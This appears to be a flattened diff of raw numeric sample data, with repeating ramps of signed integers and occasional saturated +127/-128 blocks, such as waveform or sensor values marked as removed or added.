--113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --86 --81 --59 --70 --65 --61 --57 --53 --50 --47 --44 --41 --38 --35 --33 --31 --28 --27 --24 --23 --21 --20 --19 --17 --16 --15 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -125 -120 -115 -112 -108 -104 -100 -95 -90 -83 -78 -73 -66 -61 -57 -51 -47 -43 -40 -37 -34 -31 -29 -26 -25 -23 -21 -19 -18 -17 -16 -15 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --85 --80 --59 --70 --65 --61 --58 --54 --50 --47 --44 --41 --38 --35 --33 --32 --29 --26 --25 --23 --22 --19 --18 --17 --16 --15 --13 --13 --13 --12 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -123 -119 -115 -113 -109 -104 -98 -95 -89 -83 -78 -73 -67 -61 -56 -52 -47 -44 -40 -37 -34 -31 -29 -27 -25 -23 -21 -19 -18 -17 -16 -15 -14 -13 -11 -10 -9 -8 -8 -7 -6 -6 -5 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --83 --93 --87 --81 --60 --71 --66 --62 --57 --53 --50 --47 --44 --41 --38 --35 --33 --31 --28 --26 --25 --23 --21 --19 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -124 -119 -116 -111 -107 -104 -99 -95 -89 -85 -79 -73 -67 -62 -56 -52 -47 -44 -40 -37 -33 -31 -28 -26 -24 -22 -21 -19 -18 -17 -15 -14 -12 -12 -11 -10 -9 -8 -7 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 -115 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -128 -114 -105 -100 -97 -94 -92 -89 -87 -84 -80 -76 -72 -66 -62 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --83 --93 --87 --64 --75 --55 --66 --61 --57 --53 --50 --46 --43 --41 --38 --35 --33 --31 --29 --26 --24 --23 --21 --19 --18 --17 --17 --15 --13 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -118 -115 -112 -108 -104 -99 -95 -90 -85 -79 -73 -67 -62 -57 -52 -47 -43 -39 -36 -33 -31 -29 -27 -25 -23 -22 -20 -18 -17 -15 -15 -13 -13 -11 -10 -10 -9 -8 -7 -6 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --90 --83 --91 --86 --81 --59 --70 --65 --61 --57 --53 --50 --46 --44 --41 --37 --35 --33 --30 --28 --26 --25 --23 --21 --20 --19 --17 --15 --14 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -118 -114 -111 -108 -104 -99 -95 -89 -84 -79 -73 -67 -61 -56 -51 -47 -43 -40 -36 -33 -31 -29 -27 -24 -23 -21 -20 -18 -17 -15 -15 -13 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --83 --92 --86 --80 --58 --70 --66 --61 --57 --53 --51 --47 --44 --41 --38 --35 --33 --30 --28 --26 --24 --23 --21 --19 --18 --17 --16 --14 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -118 -114 -111 -108 -105 -100 -95 -90 -84 -79 -73 -66 -61 -56 -52 -47 -44 -40 -37 -34 -31 -29 -27 -24 -23 -21 -19 -18 -17 -15 -14 -14 -12 -11 -11 -10 -9 -8 -7 -7 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 -115 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -114 -105 -99 -97 -94 -92 -90 -87 -84 -80 -75 -71 -65 -61 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --82 --92 --86 --65 --75 --54 --66 --61 --57 --53 --50 --47 --43 --40 --38 --35 --33 --31 --29 --27 --26 --23 --21 --20 --19 --18 --16 --15 --14 --13 --11 --10 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 -108 -105 -99 -95 -89 -84 -78 -73 -67 -62 -56 -52 -47 -43 -40 -36 -33 -31 -28 -27 -25 -23 -22 -20 -19 -17 -16 -15 -14 -13 -11 -10 -9 -9 -8 -7 -6 -6 -6 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --82 --92 --87 --81 --59 --70 --66 --62 --57 --53 --50 --47 --43 --40 --37 --35 --33 --31 --28 --27 --25 --23 --21 --20 --19 --17 --16 --15 --14 --13 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -120 -115 -111 -107 -104 -100 -95 -89 -84 -78 -73 -67 -62 -56 -51 -47 -43 -39 -36 -32 -30 -28 -26 -24 -23 -21 -20 -19 -17 -17 -15 -14 -13 -12 -11 -9 -8 -7 -6 -5 -5 -4 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --97 --91 --85 --81 --59 --69 --65 --61 --57 --53 --50 --47 --44 --40 --38 --35 --33 --30 --28 --26 --24 --22 --21 --20 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -125 -119 -114 -112 -108 -105 -100 -95 -89 -84 -78 -72 -66 -61 -56 -52 -47 -44 -40 -37 -34 -31 -29 -26 -24 -23 -21 -20 -18 -17 -16 -14 -13 -12 -11 -10 -9 -9 -8 -7 -6 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --88 --82 --93 --86 --80 --59 --70 --65 --60 --56 --53 --50 --47 --43 --41 --38 --36 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --15 --15 --14 --14 --12 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -119 -115 -111 -108 -104 -100 -95 -90 -85 -78 -72 -66 --28 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --96 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -116 -107 -101 -99 -95 -93 -91 -89 -85 -81 -76 -72 -67 -63 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --83 -124 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -116 -109 -101 -97 -95 -93 -90 -88 -84 -81 -76 -72 -67 -62 -57 +58 53 47 -44 -40 -37 -34 -31 -28 -26 -24 -22 -21 -19 -18 -16 -15 -14 -13 -12 -10 -9 -9 -8 -7 -7 -6 -5 -5 -5 -4 -3 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --82 --92 --87 --81 --59 --71 --66 --62 --58 --53 --49 --47 --43 --40 --37 --35 --33 --31 --28 --27 --25 --23 --21 --21 --20 --17 --15 --15 --14 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -118 -114 -111 -107 -104 -100 -95 -89 -84 -78 -73 -66 -61 -56 -51 -46 -43 -39 -37 -33 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -15 -14 -13 -12 -11 -10 -9 -7 -7 -6 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 --91 --86 --81 --60 --70 --65 --61 --57 --53 --50 --47 --44 --40 --37 --35 --33 --30 --28 --27 --26 --24 --21 --19 --19 --18 --15 --15 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -124 -119 -114 -112 -108 -104 -99 -95 -89 -84 -78 -72 -65 -61 -55 -51 -47 -43 -39 -36 -34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -16 -14 -13 -12 -10 -10 -9 -8 -7 -7 -6 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 -119 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -112 -104 -98 -96 -94 -91 -88 -86 -83 -80 -75 -70 -65 -61 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --82 --92 --86 --65 --75 --53 --65 --62 --58 --53 --50 --47 --45 --40 --38 --35 --33 --31 --28 --26 --25 --23 --21 --19 --18 --18 --16 --15 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -123 -118 -114 -112 -108 -105 -100 -95 -90 -85 -78 -73 -67 -62 -57 -52 -47 -44 -40 -37 -34 -31 -29 -27 -25 -23 -21 -19 -17 -17 -15 -15 -14 -12 -11 -11 -9 -9 -8 -7 -6 -5 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --93 --86 --80 --59 --71 --51 --61 --57 --54 --50 --47 --43 --40 --38 --36 --33 --31 --28 --27 --25 --22 --21 --20 --18 --17 --15 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -140 -132 -123 -118 -114 -111 -108 -105 -100 -95 -90 -85 -78 -73 -66 -61 -56 -51 -47 -43 -40 -37 -34 +42 +38 32 29 -27 -24 -23 -21 -20 -19 -17 -15 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --84 --92 --85 --81 --60 --71 --65 --61 --57 --54 --49 --46 --43 --41 --38 --35 --33 --31 --29 --26 --25 --23 --21 --20 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -140 -132 -124 -118 -114 -111 -108 -105 -100 -95 -89 -84 -78 -73 -66 -61 -56 -51 -47 -43 -39 -36 -33 -30 -27 -26 25 -23 -21 -19 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -6 -6 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --88 --82 --92 --86 --80 --58 --70 --65 --61 --57 --53 --50 --47 --43 --41 --38 --36 --33 --31 --28 --26 --24 --23 --21 --20 --19 --17 --17 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -114 -111 -107 -104 -99 -95 -89 -84 -79 -73 -67 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --87 --96 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -116 -107 -100 -97 -95 -93 -91 -88 -85 -81 -77 -73 -67 -62 -57 -52 -48 -44 -40 -37 -33 -31 -28 -25 -23 22 -20 19 -17 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -6 -5 -5 -5 -4 -4 -3 --82 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 -115 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -113 -104 -99 -95 -93 -93 -89 -87 -83 -80 -76 -71 -66 -61 -56 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --84 --92 --85 --64 --76 --55 --65 --61 --58 --54 --50 --46 --44 --41 --38 --35 --33 --30 --29 --27 --25 --23 --22 --21 --18 --17 --16 --15 --14 --12 --11 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -124 -119 -114 -111 -108 -105 -100 -95 -90 -85 -78 -73 -67 -62 -57 -52 -47 -43 -39 -37 -33 -31 -28 -27 -25 -23 -21 -20 -18 -17 -15 -14 -13 -13 -11 -10 -9 -8 -8 -7 -6 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --92 --85 --80 --59 --70 --65 --61 --57 --53 --49 --46 --44 --41 --37 --35 --33 --32 --29 --27 --25 --23 --21 --19 --18 --18 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -124 -119 -115 -112 -108 -104 -99 -95 -90 -84 -79 -73 -67 -61 -56 -51 -47 -44 -41 -37 -34 -31 -29 -27 -25 -23 -22 -20 -19 -17 16 -15 -13 +14 12 -11 10 -9 8 -7 -7 -6 6 5 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --82 --91 --86 --80 --59 --70 --65 --61 --58 --53 --50 --47 --44 --41 --38 --36 --33 --31 --29 --26 --24 --23 --21 --19 --18 --17 --17 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -114 -112 -108 -105 -99 -95 -90 -85 -79 -72 -67 --28 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --88 --97 -124 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -107 -101 -98 -95 -93 -91 -88 -85 -81 -76 -72 -67 -62 -57 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 -121 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -116 -107 -100 -97 -95 -93 -90 -88 -85 -81 -77 -72 -66 -62 -56 -52 -47 -43 -39 -36 -33 -30 -27 -26 -24 -22 -21 -19 -18 -17 -15 -15 -13 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -5 -4 -4 3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --92 --86 --81 --59 --70 --66 --61 --57 --54 --51 --48 --45 --41 --38 --36 --33 --31 --28 --27 --25 --23 --21 --20 --19 --17 --16 --15 --13 --12 --11 +2 +1 +0 +-2 +-2 +-4 +-4 +-5 +-6 +-7 +-8 +-9 -10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -124 -119 -115 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +100 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 112 -108 -104 99 -95 -90 -85 -79 -73 +91 +84 +80 +78 +76 +74 +72 68 -63 -57 -52 -47 -44 -40 -37 -34 -31 -28 -26 -24 -23 -21 -20 -18 -17 -16 -15 -14 -13 -11 -10 -9 -9 -8 -7 -6 -6 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --92 --85 --80 --59 --71 --66 --62 --57 --54 --50 --46 --43 --40 --37 --35 --33 --31 --28 --26 --25 --22 --21 --20 --18 --17 --15 --14 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -133 -123 -119 -114 -111 -107 -105 -100 -95 -89 -84 -78 -73 -67 -62 -56 -52 -47 -43 -40 -37 -34 -32 -29 -28 -25 -23 -21 -19 -18 -17 -15 -14 -13 -12 -11 -11 -10 -9 -8 -7 -6 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --97 --92 --86 --81 --59 --70 --65 --62 --57 --52 --49 --46 --44 --40 --37 --35 --33 --31 --29 --27 --25 --23 --21 --20 --19 --17 --17 --16 --15 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -125 -119 -115 -112 -108 -105 -100 -95 -90 -84 -78 -72 -67 --28 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --88 --97 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -116 -108 -101 -98 -95 -93 -91 -89 -85 -81 -77 -72 -67 -62 -57 --35 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -116 -107 -101 -97 -95 -93 -90 -87 -84 -81 -76 -71 -67 -62 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --92 --83 -121 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -116 -108 -101 -98 -95 -94 -91 -89 -84 -81 -76 -72 -67 +65 61 -56 -52 -47 -43 -39 -36 -33 -31 -28 -26 -24 -23 -21 -19 -18 -16 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -6 -5 -5 -4 -3 -3 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --92 --86 --80 --59 --70 --65 --61 --57 --53 --50 --46 --43 --41 --38 --35 --33 --31 --29 --26 --24 --23 --21 --20 --18 --17 --16 --15 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -118 -115 -112 -107 -104 -100 -95 -90 -84 -78 -73 -67 -63 57 52 -48 -44 -40 -37 -34 -31 -28 -27 -25 -23 -21 -19 -17 -16 -15 -14 -13 -12 -11 -10 -9 -9 -7 -7 -6 -6 -5 -4 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 +47 +42 +-50 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-106 +-101 +-79 -91 --85 +-69 -80 +-77 +-73 +-68 +-65 +-62 -59 --70 --65 --61 --57 --53 --49 --46 --43 --40 --37 --35 --33 --30 --28 --26 --24 --23 --21 --20 --18 --17 --16 --15 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -118 -114 -112 -108 -104 -99 -95 -90 -85 -79 -73 -67 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --88 --97 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -107 -102 -97 -94 -93 -91 -89 -85 -81 -77 -73 -67 -62 -57 -52 -47 -43 -39 -36 -33 -30 -28 -27 -25 -23 -21 -19 -18 -17 -15 -14 -12 -11 -11 -10 -9 -8 -7 -7 -6 -6 -5 -5 -4 -3 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --92 --86 --81 --59 --70 --65 --61 --58 --54 +-56 +-52 -50 --47 +-48 +-46 -44 -42 --38 --36 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --14 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 -108 -105 -100 -95 -89 -84 -78 -73 -67 -62 -56 -51 -47 -43 -40 -37 -34 -32 -29 -27 -25 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -7 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --91 --85 --81 --60 --70 --65 --62 --58 --54 --50 --47 --44 --41 --38 --35 --33 --31 --28 --27 --24 --23 --22 --20 --18 --17 --16 --15 --14 --13 --12 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -119 -115 -113 -109 -105 -99 -95 -89 -84 -78 -73 -66 -61 -56 -51 -47 -43 -39 -36 -33 -31 -28 -26 -24 -23 -21 -20 -18 -17 -15 -14 -13 -11 -10 -9 -8 -8 -7 -6 -6 -6 -5 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 --93 --85 --80 --59 --71 --66 --61 --57 --54 --50 --46 --43 -40 -38 +-37 -35 +-33 -32 -31 +-29 +-29 -28 +-27 -26 -25 --23 --21 --19 --18 --18 --17 --16 --14 --13 --13 --12 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -113 -109 -105 -101 -96 -91 -85 -78 -73 -67 -62 -56 -52 -47 -44 -40 -37 -34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -16 -14 -14 -13 -11 -10 -10 -9 -8 -7 -6 -6 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --88 -116 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 127 -113 -105 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +109 +104 99 -97 +96 92 -90 -88 -86 +89 +85 +81 +75 +70 +64 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +112 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +101 +92 +87 83 80 -75 -70 -65 -61 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --92 --86 --65 --75 --55 --66 --62 --57 --54 --50 --47 --44 --41 --38 --35 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --15 --14 --13 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -118 -114 -111 -108 -104 -100 -95 -90 -85 -78 -73 -67 -62 -56 -51 -47 -43 -40 -37 -33 -31 -29 -27 -25 -23 -22 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -7 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 -118 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -128 -114 -105 -99 -96 -93 -91 -89 -87 -83 79 -75 -70 -65 -61 -55 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --82 --91 --86 --65 --75 --54 --66 --62 --58 --53 --50 --47 --44 --40 --37 --35 --33 --31 --29 --27 --24 --23 --22 --21 --18 --17 --16 --15 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -124 -119 -115 -113 -109 -105 -100 -96 -90 -85 -78 -73 -67 -62 -56 -51 -47 -43 -39 -37 -33 -31 -28 -26 -25 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -11 -10 -9 -8 -7 -7 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --89 --82 --93 --86 --79 --59 --70 --67 --61 --57 --54 --51 --48 --43 --41 --39 --36 --33 --31 --28 --27 --25 --23 --22 --20 --18 --17 --16 --16 --14 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -125 -120 -115 -113 -108 -105 -100 -95 -90 -84 -78 -72 -66 -61 -56 -51 -47 -43 -40 -37 